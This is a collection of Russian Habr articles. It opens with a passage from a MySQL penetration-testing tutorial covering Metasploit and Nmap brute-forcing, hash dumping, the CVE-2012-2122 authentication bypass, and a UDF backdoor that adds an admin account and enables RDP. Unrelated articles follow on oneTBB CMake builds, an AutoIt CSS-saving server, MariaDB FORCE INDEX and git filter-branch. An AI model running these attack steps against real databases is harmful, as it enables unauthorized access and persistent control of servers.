msf auxiliary(mysql_login) > set USER_FILE /root/login/logins
msf auxiliary(mysql_login) > set PASS_FILE /root/login/password
msf auxiliary(mysql_login) > set RHOSTS 172.16.2.54
msf auxiliary(mysql_login) > exploit
```
Nmap использует стандартные списки паролей и пользователей, но всегда можно взять свои:
```
nmap --script mysql-brute
--script-args userdb= - подключаем свой список логинов
--script-args passdb= - подключаем свой список паролей
```
Кстати говоря, вот тебе отличный [репозиторий](https://github.com/danielmiessler/SecLists), где можно найти самые популярные логины, пароли и не только. Ну и обычно при брутфорсе выполняется еще одна простая, но довольно важная проверка на пустой пароль для пользователя root или anonymous:
```
nmap -sV --script=mysql-empty-password
```
#### Постэксплуатация
Следующий важный шаг, который наступает после получения логина/пароля (через инъекцию или полным перебором), — это постэксплуатация. Я перечислю различные модули для Nmap’а и их предназначение. Итак, модуль, который производит вывод баз данных:
```
nmap -sV --script mysql-databases
```
Модуль, который производит вывод пользователей:
```
nmap -sV --script mysql-users
```
Модуль, который производит вывод переменных:
```
nmap -sV --script mysql-variables
```
Модуль, который производит вывод пользователей и их хешей в виде, удобном для брутфорса:
```
nmap -p 3306 --script mysql-dump-hashes –script args='username=root,password=secret'
msf>use auxiliary/admin/mysql/mysql\_hashdump
```
Модуль, который заменяет клиент MySQL и отправляет запросы в удаленную базу:
```
nmap -p 3306 --script mysql-query --script-\ args='query=""[,username=,password=]'
msf>use auxiliary/admin/mysql/mysql\_sql
```
#### Сканирование на CVE-2012-2122
Отдельно стоит упомянуть про один интересный модуль, который присутствует как в Metasploit, так и в Nmap, — модуль проверки на [CVE-2012-2122](http://thehackernews.com/2012/06/cve-2012-2122-serious-mysql.html). Данная уязвимость позволяет удаленным пользователям обходить аутентификацию из-за ненадлежащей проверки возвращаемых значений. Существует возможность авторизации с неправильным паролем с вероятностью 1/256, так как MySQL считает, что пришедший токен от пользователя и ожидаемое значение равны. Используя известное имя пользователя (например, root, который присутствует практически всегда) с любым паролем, можно подключиться к базе, повторяя подключение порядка 300 раз. После чего можно сдампить все пароли пользователей, сбрутфорсить их и коннектиться уже с легитимным паролем. Но не все так хорошо, как кажется, — данной уязвимости подвержены только сборки, где функция memcmp() возвращает значения за пределами диапазона от –128 до 127, то есть это достаточно ограниченное число систем:
* Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04);
* OpenSuSE 12.1 64-bit MySQL 5.5.23-log;
* Debian Unstable 64-bit 5.5.23-2;
* Fedora;
* Arch Linux.
Но если есть даже самая незначительная возможность попасть в базу, то стоит попробовать:
```
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 172.16.2.54
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > exploit
```
Для Nmap при сканировании нужно использовать скрипт `mysql-vuln-cve2012-2122`:
```
nmap -sV --script mysql-vuln-cve2012-2122
```
#### Бородатый UDF
В далекие-далекие времена, когда еще во вселенной MySQL не было введено триггеров и хранимых процедур, существовала поддержка User-Defined Function (определенные пользователем функции). Но в современном мире данная фишка тоже имеет место быть и поддерживается до сих пор в качестве внешних хранимых функций. Данные функции не просто комбинируют разные SQL-операторы в какой-то определенный запрос, а еще и сильно расширяют функциональность самой базы. Так как, в отличие от Oracle Database, в MySQL не существует наикрутейшей Java-машины, с помощью которой можно крушить все и вся в базе, одним из немногочисленных способов выполнять команды на сервере через базу остается UDF. Во времена 4-й версии MySQL это был эксплойт [Raptor](http://www.0xdeadbeef.info/exploits/raptor_udf.c), но он имел ряд ограничений, в том числе несовместимость с MySQL 5.0 и выше.
В данный момент существует легальная библиотека, которую можно скачать с легального [сайта](http://mysqludf.org). Она содержит в себе четыре функции:
1. `sys\_eval(arg1)` — выполняет произвольную команду и возвращает вывод внешней команды.
2. `sys\_exec(arg1)` — выполняет произвольную команду и возвращает код возврата.
3. `sys\_get(arg1)` — позволяет получить переменную окружения или NULL, если таковой нет.
4. `sys\_set(arg1, arg2)` — позволяет задать переменную окружения (параметры: имя переменной, значение), возвращает 0 в случае успеха.
Библиотека устанавливается в один из путей `/usr/lib/mysql`, `/usr/lib/mysql/plugin/` или другие в зависимости от системы. После чего приходит время исполнять команды в базе. Но сначала надо создать функцию:
```
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
```
А затем можно уже и выполнять с ее помощью различные команды:
```
select sys_eval('whoami');
```
Чтобы создавать и удалять функции, необходимо обладать привилегиями `INSERT` и `DELETE`. Поэтому проэксплуатировать данную багу можно, только если у пользователя, к которому у тебя есть доступ, выставлена привилегия `FILE`, позволяющая читать и записывать файлы на сервер с помощью операторов `LOAD DATA INFILE` и `SELECT… INTO OUTFILE`. Данный вариант всегда стоит проверить, ведь нерадивые админы еще существуют. Зачастую очень многие работают с базой от имени root’а, поэтому даже инъекции может хватить, чтобы заполучить полный контроль над машиной. Просмотреть привилегии можно в таблице `user`, `db`, `host`, `tables\_priv` и `columns\_priv` в базе `mysql`. `set mysql;` — для смены базы, `select \* from user;` — для вывода таблицы.
Второе условие — функция `lib\_mysqludf\_sys` уже установлена в MySQL. Дальше все просто — создаешь функцию, исполняешь команды. Еще один вариант — это собственноручная установка в качестве бэкдора в системе. Если тебе нужен удаленный, скрытый доступ к системе, то вариант прокачки базы с помощью легитимной, собственноручной установки `lib\_mysqludf\_sys` выглядит хорошим способом. Техника эта не нова, и поэтому все до нас уже сделано и автоматизировано, так что не придется самому устанавливать функцию, если под рукой есть Metasploit:
```
use exploit/windows/mysql/mysql_payload
msf exploit(mysql_payload) > set PASSWORD qwertн
msf exploit(mysql_payload) > set RHOST 172.16.2.54
msf exploit(mysql_payload) > set USERNAME root
msf exploit(mysql_payload) > exploit
```
То же самое умеет делать и sqlmap, так что, если ты нашел инъекцию, дальше можешь смело отдавать бразды правления ему.
#### Сценарий использования UDF
Один из возможных сценариев заливки шелла / повышения привилегий может выглядеть таким образом. Для начала нужно получить доступ к самой базе (пользователю root либо другому, обладающему привилегией `FILE`) через инъекцию, брутфорс или иначе. После чего нам нужно получить копию библиотеки UDF на атакуемой машине, учитывая операционную систему и ее битность. Можно воспользоваться вариантами, входящими в состав sqlmap, которые можно взять [тут](https://github.com/sqlmapproject/sqlmap/tree/master/udf/mysql). Кстати, в данном репозитории присутствуют библиотеки и для Windows. Закинуть копию библиотеки на сервер можно по-разному:
* используя функционал сайта по загрузке картинок, файлов и прочего;
* через открытый или взломанный FTP-сервер.
Следующим шагом является выполнение SQL-запросов для того, чтобы загрузить наш шелл в таблицу, после чего извлечь его в нужную нам папку (`/usr/lib` для Linux, `c:\windows\system32` для Windows). Далее мы создаем новую функцию в MySQL, теперь у нас есть рабочий шелл и возможность RCE на сервере.
Пример для Windows с созданием пользователя:
```
mysql> USE mysql;
mysql> CREATE TABLE bob(line blob);
mysql> INSERT INTO bob values(load_file('C:/xampplite/htdocs/mail/lib_mysqludf_sys.dll'));
mysql> SELECT * FROM mysql.bob INTO DUMPFILE 'c:/windows/system32/lib_mysqludf_sys.dll';
mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.dll';
mysql> SELECT sys_exec("net user bob password /add");
mysql> SELECT sys_exec("net localgroup Administrators bob /add");
```
Как вариант, можно подключить RDP:
```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```
#### Заключение
Точек вхождения в чужую базу MySQL не так уж и много по сравнению с другими СУБД: SQL Injection, поиск логинов и паролей на GitHub, брутфорс, уязвимость к багам из паблика. К методам постэксплуатации можно еще дополнительно отнести [повышение привилегий](http://seclists.org/fulldisclosure/2012/Dec/6), [DoS-атаки](http://seclists.org/fulldisclosure/2012/Dec/7), применение триггеров и хранимых процедур. Правда, отдельные из них относятся к частным случаям, которые нечасто можно встретить либо для которых нужны очень специфичные условия.
Я же хотел показать тебе, как можно быстро и без особых усилий проверить нужную базу. Как видишь, в данный момент все стало автоматизированным, что позволяет проводить проверку в фоне, занимаясь своими делами. На этом все. И помни, что большая сила накладывает большую ответственность :).
*Впервые опубликовано в журнале «Хакер» от 04/2015.
Автор: Егор Карбутов Digital Security ([@Lukesparamore](https://twitter.com/lukesparamore), lukesparamore@gmail.com)*
Подпишись на «Хакер»
* [Материалы сайта](https://xakep.ru/wp-admin/profile.php?page=paywall_subscribes)
* [Бумажный вариант](http://bit.ly/habr_subscribe_paper)
* [«Хакер» на iOS/iPad](http://bit.ly/xakep_on_ipad)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/256665/ | null | ru | null |
# oneTBB: интеграция и сборка через CMake
oneAPI Threading Building Blocks (oneTBB) — популярная библиотека для параллельного программирования на C++ с открытым исходным кодом, опубликована на GitHub. Пару лет назад команда разработки решилась на глобальный рефакторинг библиотеки (проект TBB revamp), в который удалось вписать долгожданную смену системы сборки с GNU Makefiles на CMake. Свежая версия вышла в релиз в рамках инициативы oneAPI, обновив имя на [oneTBB](https://www.intel.com/content/www/us/en/developer/tools/oneapi/onetbb.html). В этой статье я расскажу про то, как подключить oneTBB в CMake-проект и как собрать, протестировать и установить oneTBB.
Как подключить oneTBB в свой CMake-проект
-----------------------------------------
Эта часть может быть полезна тем, кто хочет использовать библиотеку oneTBB в своём проекте.
Существует два основных способа подключения стороннего проекта: как готовый пакет и как исходный код.
### Способ 1. Подключение готового пакета oneTBB
Для подключения пакета нужна функция `find_package(TBB <...>)`. Такой способ работает для тех пакетов oneTBB, в которых есть соответствующая поддержка — TBBConfig-файлы. Официальные oneAPI пакеты распространяются с такой поддержкой из коробки. Архивы, прикреплённые к [релизам oneTBB на GitHub](https://github.com/oneapi-src/oneTBB/releases), тоже поддерживают такой способ, но нужно дать CMake’у знать, куда распакован пакет, через переменную `CMAKE_PREFIX_PATH`. Некоторые сторонние дистрибутивы oneTBB также поддерживают этот способ. На самом деле, поддержка TBBConfig-файлов появилась задолго до релиза oneTBB, это произошло в одном из обновлений TBB 2017. Реализация в oneTBB во многом совместима с реализацией из предыдущих версий.
После успешного вызова `find_package(TBB <...>)` в проекте станут доступны импортированные таргеты `TBB::tbb`, `TBB::tbbmalloc` и т.д. в зависимости от запрошенных и доступных компонентов. Эти таргеты можно подключить к своему таргету — `target_link_libraries(my_app PRIVATE TBB::tbb)`. Несмотря на «link» в названии функции, она добавит зависимость не только на стадию линковки, но и на стадию компиляции (путь до заголовочных файлов oneTBB подставится в строку компиляции).
Код
```
# Создаём приложение
add_executable(my_app)
target_sources(my_app PRIVATE my_app.cpp)
# Ищем готовый пакет oneTBB 2021.5.0 (или новее)
find_package(TBB 2021.5.0 REQUIRED)
# Подключаем импортированный таргет TBB::tbb к приложению
target_link_libraries(my_app PRIVATE TBB::tbb)
```
Детальнее посмотреть и попробовать этот способ можно на [примере](https://github.com/AlexVeprev/onetbb_cmake_integration_examples/tree/main/pre_built_onetbb_from_github), в котором:
* my\_app.cpp — исходник приложения, вызывающего `TBB_runtime_version()` и печатающего результат в консоль;
* CMakeLists.txt — CMake-конфигурация для сборки приложения, где и показан способ подключения oneTBB;
* run.sh — скрипт для запуска примера на линуксе;
* README.md — небольшое описание примера.
В этом примере используется готовый пакет со страницы [oneTBB/releases](https://github.com/oneapi-src/oneTBB/releases), который ставится в текущую папку. Такая CMake-конфигурация будет работать и в случае установки oneTBB из многих других источников.
Во время сборки можно заметить, как подключается библиотека:
* на этапе компиляции подключаются заголовочные файлы: `-isystem /include`
* на этапе линковки проставляется `rpath` и подключается библиотека: `-Wl,-rpath,/lib/intel64/gcc4.8 /lib/intel64/gcc4.8/libtbb.so.12`
Так как путь до библиотеки уже есть в `rpath`, для запуска не нужно выставлять какие-то дополнительные переменные окружения. С помощью `ldd` можно проверить, что oneTBB «виден»:
```
> ldd ./build/my_app | grep tbb
libtbb.so.12 => /lib/intel64/gcc4.8/libtbb.so.12 (0x00007f867622c000)
```
### Способ 2. Подключение oneTBB в виде исходного кода
Если подходящего пакета нет или требуется сборка с особыми параметрами, то можно использовать исходный код oneTBB, собирая его вместе с проектом.
До вызова функции, подключающей oneTBB, можно дополнительно настроить конфигурацию с помощью переменных, которые описаны в начале [oneTBB/cmake/README.md](https://github.com/oneapi-src/oneTBB/blob/master/cmake/README.md) (`TBB_STRICT`, `TBB_TEST` и т.д.), общие переменные `CMAKE_BUILD_TYPE`, `CMAKE_CXX_STANDARD` и другие также будут учитываться при построении oneTBB.
В самом простом варианте можно скачать исходники библиотеки в папку с проектом и добавить в `CMakeLists.txt` команду `add_subdirectory()`. Дальше можно использовать таргеты из oneTBB проекта и подключать их к своим таргетам, как в способе 1 — `target_link_libraries(my_app PRIVATE TBB::tbb)`.
Код
```
# Создаём приложение
add_executable(my_app)
target_sources(my_app PRIVATE my_app.cpp)
# Настраиваем конфигурацию oneTBB - явно отключаем тесты
option(TBB_TEST OFF)
# Подключаем в проект подпапку с исходниками oneTBB,
# которая должна быть предварительно скачана в проект
add_subdirectory(oneTBB)
# Подключаем таргет TBB::tbb к приложению
target_link_libraries(my_app PRIVATE TBB::tbb)
```
Вместо `add_subdirectory` можно использовать функции `FetchContent_Declare` и `FetchContent_MakeAvailable` из модуля [FetchContent](https://cmake.org/cmake/help/latest/module/FetchContent.html), что позволит автоматически скачивать исходники oneTBB, например с GitHub.
Код
```
# Создаём таргет приложения
add_executable(my_app)
target_sources(my_app PRIVATE my_app.cpp)
# Загружаем исходники oneTBB 2021.5.0 с GitHub на этапе конфигурации
include(FetchContent)
FetchContent_Declare(
onetbb
GIT_REPOSITORY https://github.com/oneapi-src/oneTBB.git
GIT_TAG v2021.5.0
)
# Настраиваем конфигурацию oneTBB - явно отключаем тесты
option(TBB_TEST OFF)
# Делаем исходники oneTBB доступными в текущем проекте
# (аналогично add_subdirectory)
FetchContent_MakeAvailable(onetbb)
# Подключаем таргет TBB::tbb к приложению
target_link_libraries(my_app PRIVATE TBB::tbb)
```
Детальнее посмотреть и попробовать этот способ можно на [примере](https://github.com/AlexVeprev/onetbb_cmake_integration_examples/tree/main/onetbb_from_github_with_fetch_content), в котором:
* my\_app.cpp — исходник приложения, вызывающего `TBB_runtime_version()` и печатающего результат в консоль;
* CMakeLists.txt — CMake-конфигурация для сборки приложения, где и показан способ подключения oneTBB с помощью модуля `FetchContent`;
* run.sh — скрипт для запуска примера на линуксе;
* README.md — небольшое описание примера.
При построении явно используется таргет `my_app`, который через зависимость вызывает построение таргета `TBB::tbb`. Если не использовать никакого таргета или использовать таргет `all`, то построятся все таргеты из проекта oneTBB, попавшие в `all`, а не только те, на которые есть зависимость.
Как сконфигурировать, построить и протестировать oneTBB
-------------------------------------------------------
Эта часть может быть полезна тем, кто хочет самостоятельно собирать oneTBB, делать какие-то доработки и предлагать изменения в библиотеку.
Подробное и актуальное описание системы сборки можете найти в [oneTBB/cmake/README.md](https://github.com/oneapi-src/oneTBB/blob/master/cmake/README.md). Ниже кратко опишу основные шаги.
### Конфигурация
Конфигурируется проект типично — командой `cmake`. Настроить конфигурацию можно как общими переменными (`CMAKE_BUILD_TYPE`, `CMAKE_CXX_STANDARD` и т.д.), так и проектными (`TBB_STRICT`, `TBB_TEST` и т.д.).
### Построение
Строится проект также типично: например, командой `cmake --build`. Проект включает в себя несколько компонентов, для каждого из которых есть таргет, если компонент поддерживается на системе и не отключен при конфигурации: `tbb`, `tbbmalloc`, `tbbmalloc_proxy`, разные варианты `tbbbind`. Каждый из этих таргетов строится в динамическую библиотеку. Статическую версию тоже можно построить ([BUILD\_SHARED\_LIBS](https://cmake.org/cmake/help/latest/variable/BUILD_SHARED_LIBS.html)), но [разработчики oneTBB не рекомендуют и официально не поддерживают](https://github.com/oneapi-src/oneTBB/blob/a1f53c8fa2c41e388873ee42f3dff6ba0e03ee51/CMakeLists.txt#L113) такой вариант.
В проект входят Python-bindings (таргет `python_build`), которые включаются опцией `TBB4PY_BUILD` и собираются через Setuptools под капотом. Для сборки нужен Python 3.5+ и SWIG.
Если тесты не отключены через `TBB_TEST=OFF`, то для каждого из них создаётся таргет, который можно построить отдельно.
### Тестирование
При включенной опции `TBB_TEST` в проект включаются тесты. Набор тестов зависит от включенных компонентов и от платформы. Тесты будут включать дополнительные сценарии, если в системе установлен Intel**®** Software Development Emulator. Построенные тесты можно запустить с помощью утилиты `ctest`.
### Установка
Подробная инструкция установки из исходников с примерами описана в [oneTBB/INSTALL.md](https://github.com/oneapi-src/oneTBB/blob/master/INSTALL.md#installation-from-sources).
Для установки можно использовать таргет `install`, либо напрямую вызывать `cmake_install.cmake` скрипт, с помощью которого можно установить конкретный компонент:`runtime`, `devel` или `tbb4py`.
Настроить путь установки можно на этапе конфигурации проекта через переменную `CMAKE_INSTALL_PREFIX`. По умолчанию установится в `/usr/local` на Unix и в `C:\Program Files\TBB` на Windows.
Кроме того, в проекте реализована простая zip конфигурация для упаковщика CPack. После конфигурации и сборки проекта можно сделать oneTBB пакет в виде zip-архива. В распакованном виде такой пакет можно подключать к проектам, как описано выше в способе 1.
---
Более подробную и актуальную информацию о системе сборки (и не только) можно найти в репозитории [oneTBB на GitHub](https://github.com/oneapi-src/oneTBB). Проект активный, поэтому баг-репорты, фича-реквесты или просто вопросы приветствуются через [Issues](https://github.com/oneapi-src/oneTBB/issues), а свой вклад можно внести через [Pull Request](https://github.com/oneapi-src/oneTBB/pulls). | https://habr.com/ru/post/649745/ | null | ru | null |
# Удобное редактирование CSS (Chrome + Save CSS + autoIt)
Многие знают, что в Chrome Development Tools встроен удобный редактор CSS, отображающий изменения мгновенно. Единственная проблема – отсутствие возможности удобного автоматического сохранения изменений.
Для решения задачи автосохранения существуют три расширения для Chrome: [DevTools Autosave](https://chrome.google.com/webstore/detail/devtools-autosave/mlejngncgiocofkcbnnpaieapabmanfl), [Tincr](https://chrome.google.com/webstore/detail/tincr/lfjbhpnjiajjgnjganiaggebdhhpnbih) и [Save CSS](https://chrome.google.com/webstore/detail/save-css/mflkegihknjnhmpfnaimpfkjbkelhhkf). Так как работа с файлами на диске у расширений невозможна, все они перехватывают событие изменения CSS, а текст измененного файла (или только фрагмент в случае DevTools autosave) отправляется запросом на localhost, на котором уже серверная программа сохраняет непосредственно в файл.
Вышеперечисленные расширения для сохранения в файл используют скрипты на Python, Node.js или Ruby. Мне же, как PHP программисту не связанному с этими языками хотелось простое One click решение для Windows, без необходимости установки ненужных мне в своей работе серверов.
Поэтому я решил написать простенькую утилиту под Windows, решающую эту задачу.
Был выбран скриптовый язык AutoIt как наиболее простой способ быстро получить результат.
**Текст скрипта (Обновлен 18 апреля 2013)**
```
#cs
# save-css-server.au3: receive CSS and JS files from Chrome extension
# and save files locally
#
# Author: Ilya Zenin
# Based on AutoIt HTTP Server by Manadar
# 18.01.2013 - Created
# 16.02.2013 - Updated
# 18.04.2013 - Updated
#ce
Local $sIP = "127.0.0.1"; ip address
Local $iPort = 8080 ; the listening port
Local $sBuffer = "";
Local $aSavedFilepaths = ""; needed to show tray tip only once per file
Local $iStartTime = TimerInit()
TCPStartup()
$iMainSocket = TCPListen($sIP, $iPort, 10)
If @error Then
MsgBox(0x20, "Save CSS server", "Unable to create a socket on port " & $iPort & ".")
Exit
EndIf
ConsoleWrite("Save CSS server running at port " & $iPort & "..."& @CRLF)
TrayTip("Save CSS server", "Save CSS server running at port " & $iPort & "...", 0, 0)
While True
$iSock = TCPAccept($iMainSocket) ;Check for new connections
If TimerDiff($iStartTime) > 250 Then ;reset tray icon to standart
TraySetIcon()
EndIf
sleep(10)
If $iSock = -1 Then ContinueLoop
If _TCP_Server_ClientIP($iSock) <> "127.0.0.1" Then
ConsoleWrite("External connection! Disconnect." & @CRLF)
TCPCloseSocket($iSock) ; Kill any not local connections
ContinueLoop
EndIf
ConsoleWrite("A new client has connected!" & @CRLF)
$sBuffer = ""
$break = false;
Do
$sRecv = TCPRecv($iSock, 2048)
If $sRecv Then
$sBuffer &= $sRecv
$receivedLength = StringLen($sRecv);
$bufferLength = StringLen($sBuffer);
$headerLength = StringInStr($sBuffer, @CRLF&@CRLF) + 3
$array = StringRegExp($sBuffer, 'Content-Length: (.*)', 2)
$contentLength = StringStripCR($array[1])
If ($contentLength + $headerLength == $bufferLength) Then
$break = True
EndIf
EndIf
Until $break
ConsoleWrite("READY!" & @CRLF)
$array = StringRegExp($sBuffer, 'X-origurl: (.*)', 2)
$xOrigurl = StringStripCR($array[1]);
$array = StringRegExp($sBuffer, 'X-filepath: (.*)', 2)
$xFilepath = urldecode(StringStripCR($array[1]));
$body = StringTrimLeft($sBuffer, $headerLength)
ConsoleWrite("Saving file " & $xFilepath)
Local $file = FileOpen($xFilepath, 2)
$result = FileWrite ($file, $body)
FileClose($file)
If $result == 1 Then
ConsoleWrite(" - Success " & @CRLF);
If Not StringInStr($aSavedFilepaths, $xFilepath) Then ; show tray bubble only once per file
TrayTip("Save CSS server", $xFilepath & " - saved!", 1, 0)
$aSavedFilepaths &= '|'&$xFilepath;
EndIf
TraySetIcon("info");
$iStartTime = TimerInit()
Else
ConsoleWrite(" - ERROR!!!"& @CRLF);
TrayTip("Save CSS server ERROR", $xFilepath & " - file save error!", 0, 3)
EndIf
$sBuffer = ""
$sRecv = ""
$iSock = -1
TCPSend($iMainSocket, "HTTP/1.1 200 OK"& @CRLF)
TCPSend($iMainSocket, "Content-Length: 2"& @CRLF)
TCPSend($iMainSocket, @CRLF)
TCPSend($iMainSocket, "OK")
TCPCloseSocket($iMainSocket)
sleep(1000)
TCPShutdown ()
TCPStartup()
$iMainSocket = TCPListen($sIP, $iPort, 1)
WEnd
Func urldecode($str)
Local $i, $return, $tmp
$return = ""
$str = StringReplace ($str, "+", " ")
For $i = 1 To StringLen($str)
$tmp = StringMid($str, $i, 3)
If StringRegExp($tmp, "%[0-9A-Fa-f]{2}", 0) = 1 Then
$i += 2
While StringRegExp(StringMid($str, $i+1, 3), "%[0-9A-Fa-f]{2}", 0) = 1
$tmp = $tmp & StringMid($str, $i+2, 2)
$i += 3
Wend
$return &= BinaryToString(StringRegExpReplace($tmp, "%([0-9A-Fa-f]*)", "0x$1"), 4)
Else
$return &= StringMid($str, $i, 1)
EndIf
Next
Return $return
EndFunc
; Function to return IP Address from a connected socket.
;----------------------------------------------------------------------
Func _TCP_Server_ClientIP($hSocket)
Local $pSocketAddress, $aReturn
$pSocketAddress = DllStructCreate("short;ushort;uint;char[8]")
$aReturn = DllCall("Ws2_32.dll", "int", "getpeername", "int", $hSocket, "ptr", DllStructGetPtr($pSocketAddress), "int*", DllStructGetSize($pSocketAddress))
If @error Or $aReturn[0] <> 0 Then Return 0
$aReturn = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($pSocketAddress, 3))
If @error Then Return 0
$pSocketAddress = 0
Return $aReturn[0]
EndFunc
```
#### Установка
1. Ставим [расширение](https://chrome.google.com/webstore/detail/mflkegihknjnhmpfnaimpfkjbkelhhkf) Save CSS в хроме из стора
2. Возможно потребуется включить экспериментальное API в настройках хрома [chrome://flags/](http://chrome://flags/)
3. Скачиваем и запускаем [exe файл](https://www.dropbox.com/s/8u20inrze4mmh1e/save-css-server.exe) серверной части (людям со страхом к скачиванию EXE читать ниже)
4. В хроме в Developer Tools настраиваем соответствие путей виртуального сервера и файлов на диске, например так: 
5. Профит: Теперь сразу после изменения стилей в трее всплывет уведомление о сохранении файла. Чтобы постоянно всплывающие сообщения не мешали, они всплывают только 1 раз на файл, последующие автосохранения будет только моргать иконка:
Капитан Паранойя подсказывает, что вместо третьего пункта можно сделать следующее:
* Скачиваем и устанавливаем autoit (<http://www.autoitscript.com/>)
* Сохраняем вышеприведенный скрипт как save-css-server.au3
* Правой клавишей на файле -> compile script
* Запускаем exe
#### Использование
| | |
| --- | --- |
| Чтобы поменять свойство CSS кликните на имя свойства или значение и введите с клавиатуры.
Цифровые значения могут быть так же изменены колесом мыши или стрелочками вверх/вниз на клавиатуре | |
| Чтобы добавить новое свойство два раза щелкните на строке с символом “}” и напишите имя свойства | |
| Чтобы удалить свойство сотрите его имя и нажмите enter | |
Если в файле CSS есть комментарии или префиксы вендоров — они тоже сохранятся.
**Обновление 16.02.2013:**
Исправлена ошибка, возникающая из за незакрытого сокета. Теперь сервер работает корректно.
Скрипт выше и exe файл по ссылке обновлены.
**Обновление 18.04.2013:**
Исправлена ошибка, когда CSS сохранялся вместе с http заголовком.
Скрипт выше и exe файл по ссылке обновлены.
*Автор первого фото [Exey Panteleev](http://www.flickr.com/photos/exey/)
Текст и скриншоты раздела «Использование» взяты с [сайта автора Save CSS](http://tomicloud.com/2012/04/save-css-chrome-ext)* | https://habr.com/ru/post/166587/ | null | ru | null |
# FORCE INDEX {FOR ORDER BY}
После обновления марии до 10.9-версии FORCE INDEX перестал работать.
Как известно, оптимизатор запросов не всегда определяет верно индексы, которые нужно использовать. Это происходит ещё и потому, что оптимизатор учитывает объём доступной памяти, а она может быть занята другими выполняющимися запросами. Поэтому часто возникают "плавающие баги", когда один и тот же запрос то использует нужные индексы, то нещадно тормозит. USE INDEX в этом случае бессмысленно использовать — оптимизатор его просто игнорирует.
Почему же FORCE INDEX перестал работать? Оказывается изменился его синтаксис.
Новый синтаксис: `FORCE INDEX [{FOR {JOIN|ORDER BY|GROUP BY}] ([index_list]).`
Новый синтаксис предполагает, что если проиндексированный столбец находится не в WHERE, а в JOIN или ORDER BY или в GROUP BY, то это нужно указывать явно, иначе оптимизатор и не почешется.
Рис. 1. EXPLAIN выборки без {FOR ORDER BY}Рис. 2. EXPLAIN выборки c {FOR ORDER BY}Как видно из Рис. 1, FORCE INDEX не сработал, так как в WHERE не было поля с указанным ключём (updated), а после явного указания, что ключ нужно искать в ORDER BY — всё заратало.
Почему EXPLAIN не показывает индекс **updated**, а показывает индекс **type**, для меня осталось загадкой, однако, на самом деле используется именно **updated**, так как **type** тут „null” и „не null” — ускорить выполнение запроса он никак не может, а данный запрос на миллионах записей выполнятся довольно быстро.
Каким бы был идеальный FORCE INDEX?
-----------------------------------
FORCE INDEX не даёт разработчику полного управления планом выполнения запроса.
Во первых, список индексов должен указывать, что нужно использовать *все индексы в указанном порядке*. Сейчас же оптимизатор волен решать: какой индекс из списка ему брать. Другими словами нужен AND, кроме существующего уже OR. Например: `FORCE INDEX (PRIMARY OR (updated AND PRIMARY AND type))`.
Во вторых, синтаксис FORCE INDEX было бы немного изменить, чтобы прописывать порядок индексов при исполнении всех операций, а не указывать только для одной.
Например:
```
FORCE INDEX
FOR ORDER BY (updated)
FOR WHERE (type)
```
В третьих, движок базы при выполнении запросов должен уметь делать составные индексы (из нескольких полей и, в том числе, из разных таблиц) для конкретных запросов и хранить их в своём кеше. Тогда последующие запросы резко ускорятся.
Источники
---------
1. Документация mariadb / FORCE INDEX / <https://mariadb.com/kb/en/force-index/>.
2. Документация mysql / Подсказки индексов / <https://dev.mysql.com/doc/refman/8.0/en/index-hints.html>. | https://habr.com/ru/post/698380/ | null | ru | null |
# Выделение подпроекта в отдельный репозиторий на github
Недавно я столкнулся с задачей переноса папки с проектом из одного репозитория в другой на github. Звучит примитивно, но если рассмотреть то, что дано и то, что необходимо получить, могут возникнуть некоторые нюансы.
Итак, что дано:
* Есть большой репозиторий, содержащий множество папок. Каждая папка – это отдельный проект.
Что необходимо сделать:
* Одну из папок перенести в отдельный репозиторий с сохранением ее истории коммитов.
В теории можно было бы просто скопировать весь репозиторий со всем содержимым в новое место, а потом просто удалить те папки, которые не нужны. Но такой способ довольно неоптимален и не особо мне понравился, так что я решил поступить иначе.
Я использовал стандартный гитовый filter-branch. За основу я взял следующие статьи:
* [Moving Files from one Git Repository to Another, Preserving History](http://gbayer.com/development/moving-files-from-one-git-repository-to-another-preserving-history/)
* [Splitting a subfolder out into a new repository](https://help.github.com/articles/splitting-a-subfolder-out-into-a-new-repository/)
В этом посте я хочу немного адаптировать процесс для лучшего восприятия.
Предположим для примера, что наш репозиторий называется `movement-example`, а та единственная папка, которую мы хотим перенести в отдельный репозиторий – `folder-to-move`. Тогда шаги, которые необходимо выполнить для подготовки переноса, выглядят следующим образом:
1. `git clone git@github.com:/movement-example.git`
Лучше сделать новый клон репозитория, даже если он у вас уже скачан. А еще лучше делать клон из локального репозитория: `git clone` – это гораздо быстрее (спасибо [ZyXI](https://habrahabr.ru/users/zyxi/) за подсказку).
2. `cd movement-example`
3. `git remote rm origin`
Это именно тот момент, ради которого мы делали новый клон – теперь мы не боимся поломать оригинальный репозиторий.
4. `git filter-branch --subdirectory-filter folder-to-move -- --all`
После выполнения этого шага в вашем локальном репозитории останется только контент папки `folder-to-move`, причем самой папки больше нет – все содержащиеся в ней файлы теперь лежат в текущей директории (в `movement_example`).
5. `mkdir folder-to-move`
`mv * folder-to-move`
Это опциональный шаг – если вы хотите иметь все файлы внутри той же папки, что и раньше, а не в корне нового репозитория.
6. `git add .`
7. `git commit -m “Preparing to extract folder”`
Первая часть готова, а вторая заключается в том, чтобы совершить фактический перенос. Предположим, что новый репозиторий называется просто `new-repo`, тогда необходимые шаги выглядят следующим образом:
1. `git clone git@github.com:/new-repo.git`
Клонируем себе новый репозиторий, если, конечно, все еще не сделали этого.
2. `cd new-repo`
3. `git remote add old-repo-branch`
Добавляем новый remote. Если ваши папки new-repo и movement-example лежат на одном уровне в файловой системе, то `path-to-movement-example-folder` выглядел бы как `../movement-example`
